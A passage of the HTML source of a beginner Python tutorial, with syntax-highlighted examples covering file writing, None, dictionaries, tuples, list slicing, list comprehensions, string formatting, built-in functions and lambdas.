style="color:#b8bb26;">&quot;w&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.write(</span><span style="color:#b8bb26;">&quot;Some new text&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.close() +</span><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;newfile.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;r&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Reading new contents&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(file.read()) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Finished&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<blockquote> +<p>As you can see, the content of the file has been overwritten.</p> +</blockquote> +<p>The write method returns the number of bytes written to a file, if successful.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>msg </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;Hello world!&quot; +</span><span>file </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;newfile.txt&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;w&quot;</span><span style="color:#fdf4c1;">) +</span><span>amount_written </span><span style="color:#fe8019;">= </span><span style="color:#fdf4c1;">file.write(msg) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(amount_written) +</span><span style="color:#fdf4c1;">file.close() +</span></code></pre> +<p>To write something other than a string, it needs to be converted to a string first.</p> +<p>It is good practice to avoid wasting resources by making sure that files are always closed after they have been used.</p> +<p>A way of doing this is using with statements. This creates a temporary variable (often called f), which is only accessible in the indented block of the with statement.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">with </span><span style="color:#fabd2f;">open</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;filename.txt&quot;</span><span style="color:#fdf4c1;">) </span><span style="color:#fa5c4b;">as </span><span>f: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(f.read()) +</span></code></pre> +<blockquote> +<p>The file is automatically closed at the end of the with statement, even if exceptions occur within it.</p> +</blockquote> +<h2 id="none">None</h2> +<p>The <strong>None</strong> object is used to represent the absence of a value. It is similar to null in other programming languages. Like other “empty” values, such as 0, [] and the empty string, it is False when converted to a Boolean variable. When entered at the Python console, it is displayed as the empty string.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">None</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Run the code and see how it works!</p> +</blockquote> +<p>The None object is returned by any function that doesn’t explicitly return anything else.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">some_func</span><span>(): +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Hi!&quot;</span><span style="color:#fdf4c1;">) +</span><span>var </span><span style="color:#fe8019;">= </span><span style="color:#fdf4c1;">some_func() +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(var) +</span></code></pre> +<h2 id="dictionaries">Dictionaries</h2> +<p>Dictionaries are data structures used to map arbitrary keys to values. Lists can be thought of as dictionaries with integer keys within a certain range. Dictionaries can be indexed in the same way as lists, using square brackets containing keys. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>ages </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#b8bb26;">&quot;Dave&quot;</span><span>: </span><span style="color:#d3869b;">24</span><span>, </span><span style="color:#b8bb26;">&quot;Mary&quot;</span><span>: </span><span style="color:#d3869b;">42</span><span>, </span><span style="color:#b8bb26;">&quot;John&quot;</span><span>: </span><span style="color:#d3869b;">58</span><span>} +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(ages[</span><span style="color:#b8bb26;">&quot;Dave&quot;</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(ages[</span><span style="color:#b8bb26;">&quot;Mary&quot;</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<blockquote> +<p>Each element in a dictionary is represented by a key:value pair.</p> +</blockquote> +<p>Trying to index a key that isn’t part of the dictionary returns a KeyError. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>primary </span><span style="color:#fe8019;">= </span><span>{ +</span><span style="color:#b8bb26;">&quot;red&quot;</span><span>: [</span><span style="color:#d3869b;">255</span><span>, </span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">0</span><span>], +</span><span style="color:#b8bb26;">&quot;green&quot;</span><span>: [</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">255</span><span>, </span><span style="color:#d3869b;">0</span><span>], +</span><span style="color:#b8bb26;">&quot;blue&quot;</span><span>: [</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">255</span><span>], +</span><span>} +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(primary[</span><span style="color:#b8bb26;">&quot;red&quot;</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(primary[</span><span style="color:#b8bb26;">&quot;yellow&quot;</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<p>As you can see, a dictionary can store any types of data as values. &gt;An empty dictionary is defined as {}.</p> +<p>Only immutable objects can be used as keys to dictionaries. Immutable objects are those that can’t be changed. So far, the only mutable objects you’ve come across are lists and dictionaries. Trying to use a mutable object as a dictionary key causes a TypeError.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>bad_dict </span><span style="color:#fe8019;">= </span><span>{ +</span><span> +</span><span>[</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">3</span><span>]: </span><span style="color:#b8bb26;">&quot;one two three&quot;</span><span>, +</span><span> +</span><span>} +</span></code></pre> +<blockquote> +<p>Run the code and see how it works!</p> +</blockquote> +<p>Just like lists, dictionary keys can be assigned to different values. However, unlike lists, a new dictionary key can also be assigned a value, not just ones that already exist.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>squares </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">1</span><span>: </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>: </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">3</span><span>: </span><span style="color:#b8bb26;">&quot;error&quot;</span><span>, </span><span style="color:#d3869b;">4</span><span>: </span><span style="color:#d3869b;">16</span><span>,} +</span><span>squares[</span><span style="color:#d3869b;">8</span><span>] </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">64 +</span><span>squares[</span><span style="color:#d3869b;">3</span><span>] </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">9 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares) +</span></code></pre> +<p>To determine whether a key is in a dictionary, you can use in and not in, just as you can for a list. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>{ +</span><span style="color:#d3869b;">1</span><span>: </span><span style="color:#b8bb26;">&quot;one&quot;</span><span>, +</span><span style="color:#d3869b;">2</span><span>: </span><span style="color:#b8bb26;">&quot;two&quot;</span><span>, +</span><span style="color:#d3869b;">3</span><span>: </span><span style="color:#b8bb26;">&quot;three&quot;</span><span>, +</span><span>} +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">nums) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;three&quot; </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">nums) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">4 </span><span style="color:#fe8019;">not in </span><span style="color:#fdf4c1;">nums) +</span></code></pre> +<p>A useful dictionary method is get. It does the same thing as indexing, but if the key is not found in the dictionary it returns another specified value instead (‘None’, by default). Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>pairs </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">1</span><span>: </span><span style="color:#b8bb26;">&quot;apple&quot;</span><span>, +</span><span style="color:#b8bb26;">&quot;orange&quot;</span><span>: [</span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">3</span><span>, </span><span style="color:#d3869b;">4</span><span>], +</span><span style="color:#d3869b;">True</span><span>: </span><span style="color:#d3869b;">False</span><span>, +</span><span style="color:#d3869b;">None</span><span>: </span><span style="color:#b8bb26;">&quot;True&quot;</span><span>, +</span><span>} +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(pairs.get(</span><span style="color:#b8bb26;">&quot;orange&quot;</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(pairs.get(</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(pairs.get(</span><span style="color:#d3869b;">12345</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;not in dictionary&quot;</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<h2 id="tuples">Tuples</h2> +<p>Tuples are very similar to lists, except that they are immutable (they cannot be changed). Also, they are created using parentheses, rather than square brackets. Example:</p> +<p><code>words = (&quot;spam&quot;, &quot;eggs&quot;, &quot;sausages&quot;,)</code></p> +<p>You can access the values in the tuple with their index, just as you did with lists:</p> +<p><code>print(words[0])</code></p> +<p>Trying to reassign a value causes a TypeError.</p> +<p><code>words[1] = &quot;cheese&quot;</code></p> +<blockquote> +<p>You can access the values in the tuple with their index, just as you did with lists.</p> +</blockquote> +<p>Tuples can be created without the parentheses, by just separating the values with commas. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>my_tuple </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;one&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;two&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;three&quot; +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(my_tuple[</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<p>An empty tuple is created using an empty parenthesis pair.</p> +<p><code>tpl = ()</code></p> +<blockquote> +<p>Tuples are faster than lists, but they cannot be changed.</p> +</blockquote> +<h2 id="list-slices">List Slices</h2> +<p>List slices provide a more advanced way of retrieving values from a list. Basic list slicing involves indexing a list with two colon-separated integers. This returns a new list containing all the values in the old list between the indices. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>squares </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">9</span><span>, </span><span style="color:#d3869b;">16</span><span>, </span><span style="color:#d3869b;">25</span><span>, </span><span style="color:#d3869b;">36</span><span>, </span><span style="color:#d3869b;">49</span><span>, </span><span style="color:#d3869b;">64</span><span>, </span><span style="color:#d3869b;">81</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">:</span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">:</span><span style="color:#d3869b;">8</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">:</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<blockquote> +<p>Like the arguments to range, the first index provided in a slice is included in the result, but the second isn’t.</p> +</blockquote> +<p>If the first number in a slice is omitted, it is taken to be the start of the list. If the second number is omitted, it is taken to be the end. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>squares </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">9</span><span>, </span><span style="color:#d3869b;">16</span><span>, </span><span style="color:#d3869b;">25</span><span>, </span><span style="color:#d3869b;">36</span><span>, </span><span style="color:#d3869b;">49</span><span>, </span><span style="color:#d3869b;">64</span><span>, </span><span style="color:#d3869b;">81</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[:</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">:]) +</span></code></pre> +<blockquote> +<p>Slicing can also be done on tuples.</p> +</blockquote> +<p>List slices can also have a third number, representing the step, to include only alternate values in the slice.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>squares </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">9</span><span>, </span><span style="color:#d3869b;">16</span><span>, </span><span style="color:#d3869b;">25</span><span>, </span><span style="color:#d3869b;">36</span><span>, </span><span style="color:#d3869b;">49</span><span>, </span><span style="color:#d3869b;">64</span><span>, </span><span style="color:#d3869b;">81</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[::</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">:</span><span style="color:#d3869b;">8</span><span style="color:#fdf4c1;">:</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<blockquote> +<p>[2:8:3] will include elements starting from the 2nd index up to the 8th with a step of 3.</p> +</blockquote> +<p>Negative values can be used in list slicing (and normal list indexing). When negative values are used for the first and second values in a slice (or a normal index), they count from the end of the list.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>squares </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">9</span><span>, </span><span style="color:#d3869b;">16</span><span>, </span><span style="color:#d3869b;">25</span><span>, </span><span style="color:#d3869b;">36</span><span>, </span><span style="color:#d3869b;">49</span><span>, </span><span style="color:#d3869b;">64</span><span>, </span><span style="color:#d3869b;">81</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">::</span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<blockquote> +<p>If a negative value is used for the step, the slice is done backwards. Using [::-1] as a slice is a common and idiomatic way to reverse a list.</p> +</blockquote> +<h2 id="list-comprehensions">List Comprehensions</h2> +<p>List comprehensions are a useful way of quickly creating lists whose contents obey a simple rule. For example, we can do the following:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="font-style:italic;color:#928374;"># a list comprehension +</span><span>cubes </span><span style="color:#fe8019;">= </span><span>[i</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">3 </span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">)</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(cubes) +</span></code></pre> +<blockquote> +<p>List comprehensions are inspired by set-builder notation in mathematics.</p> +</blockquote> +<p>A list comprehension can also contain an if statement to enforce a condition on values in the list. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>evens</span><span style="color:#fe8019;">=</span><span>[i</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">2 </span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">) </span><span style="color:#fa5c4b;">if </span><span>i</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">% </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">0</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(evens) +</span></code></pre> +<p>Trying to create a list in a very extensive range will result in a MemoryError. This code shows an example where the list comprehension runs out of memory.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>even </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">2</span><span style="color:#fe8019;">*</span><span>i </span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">100</span><span style="color:#fdf4c1;">)</span><span>] +</span></code></pre> +<blockquote> +<p>This issue is solved by generators, which are covered later.</p> +</blockquote> +<h2 id="string-formatting">String Formatting</h2> +<p>So far, to combine strings and non-strings, you’ve converted the non-strings to strings and added them. String formatting provides a more powerful way to embed non-strings within strings. String formatting uses a string’s format method to substitute a number of arguments in the string. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="font-style:italic;color:#928374;"># string formatting +</span><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">5</span><span>, </span><span style="color:#d3869b;">6</span><span>] +</span><span>msg </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;Numbers: </span><span style="color:#fdf4c1;">{0} {1} {2}</span><span style="color:#b8bb26;">&quot;</span><span style="color:#fdf4c1;">. format(nums[</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">], nums[</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">], nums[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(msg) +</span></code></pre> +<blockquote> +<p>Each argument of the format function is placed in the string at the corresponding position, which is determined using the curly braces { }.</p> +</blockquote> +<p>String formatting can also be done with named arguments. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>a</span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;</span><span style="color:#fdf4c1;">{x}</span><span style="color:#b8bb26;">, </span><span style="color:#fdf4c1;">{y}</span><span style="color:#b8bb26;">&quot;</span><span style="color:#fdf4c1;">.format(x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">, y </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">12</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(a) +</span></code></pre> +<h2 id="string-functions">String Functions</h2> +<p>Python contains many useful built-in functions and methods to accomplish common tasks. join - joins a list of strings with another string as a separator. replace - replaces one substring in a string with another. startswith and endswith - determine if there is a substring at the start and end of a string, respectively. To change the case of a string, you can use lower and upper. The method split is the opposite of join turning a string with a certain separator into a list. Some examples:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;, &quot;</span><span style="color:#fdf4c1;">.join([</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;eggs&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;ham&quot;</span><span style="color:#fdf4c1;">])) +</span><span style="font-style:italic;color:#928374;">#prints &quot;spam, eggs, ham&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Hello ME&quot;</span><span style="color:#fdf4c1;">.replace(</span><span style="color:#b8bb26;">&quot;ME&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;world&quot;</span><span style="color:#fdf4c1;">)) +</span><span style="font-style:italic;color:#928374;">#prints &quot;Hello world&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;This is a sentence.&quot;</span><span style="color:#fdf4c1;">.startswith(</span><span style="color:#b8bb26;">&quot;This&quot;</span><span style="color:#fdf4c1;">)) +</span><span style="font-style:italic;color:#928374;"># prints &quot;True&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;This is a sentence.&quot;</span><span style="color:#fdf4c1;">.endswith(</span><span style="color:#b8bb26;">&quot;sentence.&quot;</span><span style="color:#fdf4c1;">)) +</span><span style="font-style:italic;color:#928374;"># prints &quot;True&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;This is a sentence.&quot;</span><span style="color:#fdf4c1;">.upper()) +</span><span style="font-style:italic;color:#928374;"># prints &quot;THIS IS A SENTENCE.&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;AN ALL CAPS SENTENCE&quot;</span><span style="color:#fdf4c1;">.lower()) +</span><span style="font-style:italic;color:#928374;">#prints &quot;an all caps sentence&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam, eggs, ham&quot;</span><span style="color:#fdf4c1;">.split(</span><span style="color:#b8bb26;">&quot;, &quot;</span><span style="color:#fdf4c1;">)) +</span><span style="font-style:italic;color:#928374;">#prints &quot;[&#39;spam&#39;, &#39;eggs&#39;, &#39;ham&#39;]&quot; +</span></code></pre> +<h2 id="numeric-functions">Numeric Functions</h2> +<p>To find the maximum or minimum of some numbers or a list, you can use max or min. To find the distance of a number from zero (its absolute value), use abs. To round a number to a certain number of decimal places, use round. To find the total of a list, use sum. Some examples:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">min</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">max</span><span style="color:#fdf4c1;">([</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">9</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">8</span><span style="color:#fdf4c1;">])) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">abs</span><span style="color:#fdf4c1;">(</span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">99</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">abs</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">42</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">sum</span><span style="color:#fdf4c1;">([</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">])) +</span></code></pre> +<h2 id="list-functions-1">List Functions</h2> +<p>Often used in conditional statements, all and any take a list as an argument, and return True if all or any (respectively) of their arguments evaluate to True (and False otherwise). The function enumerate can be used to iterate through the values and indices of a list simultaneously. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">55</span><span>, </span><span style="color:#d3869b;">44</span><span>, </span><span style="color:#d3869b;">33</span><span>, </span><span style="color:#d3869b;">22</span><span>, </span><span style="color:#d3869b;">11</span><span>] +</span><span style="color:#fa5c4b;">if </span><span style="color:#fabd2f;">all</span><span style="color:#fdf4c1;">([i </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">5 </span><span style="color:#fa5c4b;">for </span><span style="color:#fdf4c1;">i </span><span style="color:#fa5c4b;">in </span><span style="color:#fdf4c1;">nums])</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;All larger than 5&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="color:#fa5c4b;">if </span><span style="color:#fabd2f;">any</span><span style="color:#fdf4c1;">([i </span><span style="color:#fe8019;">% </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">0 </span><span style="color:#fa5c4b;">for </span><span style="color:#fdf4c1;">i </span><span style="color:#fa5c4b;">in </span><span style="color:#fdf4c1;">nums])</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;At least one is even&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="color:#fa5c4b;">for </span><span>v </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">enumerate</span><span style="color:#fdf4c1;">(nums)</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(v) +</span></code></pre> +<h2 id="lambdas">Lambdas</h2> +<p>Creating a function normally (using def) assigns it to a variable automatically. This is different from the creation of other objects - such as strings and integers - which can be created on the fly, without assigning them to a variable. The same is possible with functions, provided that they are created using lambda syntax. Functions created this way are known as anonymous. This approach is most commonly used when passing a simple function as an argument to another function. The syntax is shown in the next example and consists of the lambda keyword followed by a list of arguments, a colon, and the expression to evaluate and return.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">my_func</span><span>(</span><span style="color:#fdf4c1;">f</span><span>, </span><span style="color:#fdf4c1;">arg</span><span>): +</span><span style="color:#fa5c4b;">return </span><span style="color:#fdf4c1;">f(arg) +</span><span> +</span><span style="color:#fdf4c1;">my_func(</span><span style="color:#fa5c4b;">lambda </span><span style="color:#fdf4c1;">x: </span><span style="color:#d3869b;">2</span><span style="color:#fe8019;">*</span><span style="color:#fdf4c1;">x</span><span style="color:#fe8019;">*</span><span style="color:#fdf4c1;">x, </span><span 